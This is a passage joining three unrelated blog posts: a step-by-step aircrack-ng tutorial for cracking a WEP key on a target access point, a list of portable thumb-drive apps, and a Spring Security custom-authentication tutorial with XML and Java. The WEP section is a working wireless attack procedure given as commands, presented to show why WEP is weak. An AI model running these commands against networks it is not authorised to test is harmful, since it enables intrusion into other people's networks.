Its now time to start the card in monitor mode by doing:

airmon-ng start [device]
airmon-ngstart1.png

Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:

airodump-ng [device]
airodumpwifi0.png

Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:

airodump-ng -c [channel] -w [network.out] �bssid [bssid] [device]

airodumpoutput.png

The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.

Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]
aireplayfakeauth.png

If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]
aireplaygenerateivs.png

This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the "data" section filling up with packets.

captureivs_0.png

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]
aireplayattack2p.png

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

The "-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

crackng.png

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!

25 Must-Have Thumb Drive Apps for Geeks

With traveling and use of many different computers, many geeks (and geek girls) often find a need to have a uniform set of tools handy wherever we may be. I've put together a list of 25 invaluable portable apps that can be installed on an Ipod or Thumb Drive. These are really cool!

  1. TrueCrypt – encrypt your thumb drive to protect your information
  2. ToDoList – A tak management tool that allows you to repeatedly sub-divide your tasks into more manageable pieces whilst still presenting a clean and intuitive user experience. (Windows Only)
  3. Portable Firefox – Leaves no personal information behind on the machine - you can take along your browser/extensions/bookmarks anywhere
  4. Pidgin Portable – All-in-one instant messaging (supports AIM, ICQ, MSN Messenger, Yahoo, G-Chat, etc)
  5. WS FTP32 – ftp client
  6. FileZilla – yet another ftp client
  7. Notepad2 – a fast light-weight advanced text editor with syntax highlighting
  8. Notepad++ - this is one of my favorite text editors – now made portable
  9. Color Cop – this is one of my favorite freeware apps – includes an eyedropper you can drag over any window to grab the color value. It then offers a palette of 42 complimentary colors to the one you've picked.
  10. Ifranview – a light little graphics viewer/editor that packs a big punch. You can use it to work with screen captures, create slideshows and more
  11. GIMP – the popular open source image editor packaged as a portable app – very robust
  12. 7-Zip Portable – handles zip, gzip, tar, rar etc
  13. Allway Sync – syncs files between your thumb drive and PC
  14. Unknown Devices – helps you find out what the unknown devices in the device manager are
  15. TestDisk – data recovery software that can recover lost partitions or make drives bootable again
  16. UTorrent – my preferred bit torrent client – I love having this with me wherever I go
  17. Roeder's .NET Reflector – recently purchased by Red Gate, this still-free app can be used to explore .NET assemblies, understand relationships between classes and methods, find where types are instantiated and exposed or check that code has been correctly obfuscated before release. There are also over 30 add-ins available.
  18. Process Explorer – formerly Filemon and Regmon, this is an invaluable sleuthing tool
  19. TightVNC – based on the popular VNC remote control software, this version can live on a thumb drive
  20. WinMerge – compares differences between files and merges changes. It has the same features as the desktop version
  21. Text2Html – a text to HTML converter – converts text files into HTML format
  22. Portable Apps Suite – this is the mac-daddy of them all – it includes Firefox, Thunderbird(email), Sunbird(calendar),ClamWin (antivirus), Pidgin(see above), Sumatra PDF Readable, KeePass Password Safe, OpenOffice, CoolPlayer (audio Player) and even a couple of games
  23. Restoration – Recover accidentally deleted files – even after they were deleted from the recycle bin
  24. Infra Recorder Portable – cd and dvd burning
  25. RockXP – allows you to recover windows passwords or keys, change keys, display system password, and more – sneaky!

Spring Security - Using custom Authentication Processing Filter

from Teja Kantamneni

Recently I got a chance working with Spring security, formerly known as Acegi Security for spring. While working with the framework, I heard comments from friends and colleagues saying that spring security lacks proper documentation. So thought of sharing a little knowledge. By the way, this is first ever blog posting and kindly excuse me and let me know any errors and improvements.

Spring security offers a simple configuration based security for your web applications helping you secure your web application with out littering your business logic with any security code. It provides securing URL's based on the Role (Authorities), securing your business methods based on the ACL's.

The first step in hooking up the spring security to your web application is by specifying the DelegatingFilterProxy in your web.xml.

  1. <!--Spring security filter-->

  2. <filter>

  3. <filter-name>springSecurityFilterChain</filter-name>

  4. <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>

  5. </filter

  6. <filter-mapping>

  7. <filter-name>springSecurityFilterChain</filter-name>

  8. <url-pattern>/*</url-pattern>

  9. <dispatcher>REQUEST</dispatcher>

  10. <dispatcher>INCLUDE</dispatcher>

  11. <dispatcher>FORWARD</dispatcher>

  12. </filter-mapping>

  13. <!--End spring security filter-->



If you want to externalize all of your security related configuration into a separate file, you can do so and add that to your context location param.
  1. <context-param>

  2. <param-name>contextConfigLocation</param-name>

  3. <param-value>

  4. /WEB-INF/beans.xml , /WEB-INF/springSecurity.xml </param-value>

  5. </context-param>



Now comes the part of security configuration for your application, Adding the URL security patterns is pretty simple and straight forward. Add all the URL patterns which you want to secure and add the wild card pattern at the end. You need to have some default principal and role even for non logged in users as you need to give access to pages like log in, register and forgot password kind of functionality even to non logged in users.

I tried to add comments to pretty much every element which I am using here.
As an example I added just a wild card intercept url which make every page of my application secure. You need to exclude different urls based on the roles.



  1. <security:http entry-point-ref="myAuthenticationEntryPoint" session-fixation-protection="newSession" >

  2. <!--add any of your cusotom url patterns to protect-->
  3. <security:intercept-url pattern="/login/**" access="ROLE_ANONYMOUS"/>
  4. <security:intercept-url pattern="/register/**" access="ROLE_ANONYMOUS"/>

  5. <security:intercept-url pattern="/**" access="ROLE_USER"/>

  6. <security:logout logout-success-url="/home.htm"/>

  7. <security:anonymous username="guest" granted-authority="ROLE_ANONYMOUS"/>

  8. </security:http>

  9. <!--name of my authenticationManager is authenticationManager-->

  10. <security:authentication-manager alias="authenticationManager"/>

  11. <!--Cutom login filter which replaces the default AUTHENTICATION_PROCESSING_FILTER -->

  12. <bean id="customizedFormLoginFilter" class="org.springframework.security.ui.webapp.AuthenticationProcessingFilter" >

  13. <security:custom-filter position="AUTHENTICATION_PROCESSING_FILTER"/><!--replace the default one-->

  14. <property name="defaultTargetUrl" value="/main.htm"/><!--After a successful login, the user will be taken to this page-->

  15. <property name="authenticationFailureUrl" value="/home.htm?error=true" /><!--Authentication failed? take him to error page-->

  16. <property name="authenticationManager" ref="myAuthenticationManager"/> <!--Here it is the custom authenticationManager, login magic goes here -->

  17. <property name="allowSessionCreation" value="true" /> <!--Allow the application to create sessions-->

  18. </bean>

  19. <!--My custom auth manager-->

  20. <bean id="myAuthenticationManager" class="com.teja.security.CustomAuthunticationManager" />

  21. <!-- Automatically receives AuthenticationEvent messages -->

  22. <bean id="loggerListener" class="org.springframework.security.event.authentication.LoggerListener"/>

  23. <!--My authuntication entry point, can be replaced easily if we are doing custom commence of invalid auths.-->

  24. <bean id="myAuthenticationEntryPoint"

  25. class="com.teja.security.CustomAuthenticationEntryPoint" >

  26. <property name="loginFormUrl" value="/home.htm"/>

  27. </bean>


Following is my custom implementation of AuthenticationEntryPoint, which currently is not doing any thing except leveraging the commence to its super class which is the spring implementation of AuthenticationProcessingFilterEntryPoint. I hooked it to add any custom logic.

  1. public class CustomAuthenticationEntryPoint extends AuthenticationProcessingFilterEntryPoint {

  2. private static final Log logger = LogFactory.getLog(CustomAuthenticationEntryPoint.class);



  3. @Override

  4. public void commence(ServletRequest request, ServletResponse response, AuthenticationException authException) throws IOException, ServletException {

  5. super.commence(request, response, authException);

  6. }

  7. }


This is my custom authentication manager which actually does the custom login of the user. It will throw an BadCredentialsException in case of invalid credentials or thorws a AuthenticationServiceException in case of a service error (Database error, SQL error or any other error).

  1. public class CustomAuthunticationManager implements AuthenticationManager {

  2. @Autowired

  3. UserManagerService userManagerService;

  4. public Authentication authenticate(Authentication authentication) throws AuthenticationException {

  5. if(StringUtils.isBlank((String) authentication.getPrincipal()) || StringUtils.isBlank((String) authentication.getCredentials())){

  6. throw new BadCredentialsException("Invalid username/password");

  7. }

  8. User user = null;

  9. GrantedAuthority[] grantedAuthorities = null;

  10. try{

  11. user = userManagerService.getUser((String) authentication.getPrincipal(), (String) authentication.getCredentials());

  12. }

  13. catch(InvalidCredentialsException ex){

  14. throw new BadCredentialsException(ex.getMessage());

  15. }

  16. catch(Exception e){

  17. throw new AuthenticationServiceException("Currently we are unable to process your request. Kindly try again later.");

  18. }

  19. if (user != null) {

  20. List<Role> roles = user.getAssociatedRoles();

  21. grantedAuthorities = new GrantedAuthority[roles.size()];

  22. for (int i = 0; i &lt; roles.size(); i++) {

  23. Role role = roles.get(i);

  24. GrantedAuthority authority = new GrantedAuthorityImpl(role.getRoleCode());

  25. grantedAuthorities[i] = authority;

  26. }

  27. }

  28. else{

  29. throw new BadCredentialsException("Invalid username/password");

  30. }

  31. return new UsernamePasswordAuthenticationToken(user, authentication.getCredentials(), grantedAuthorities);

  32. }

  33. }



At the client side (jsp), the simple configuration you need to do is post the request to"/j_spring_security_check" with parameters "j_username" and "j_password".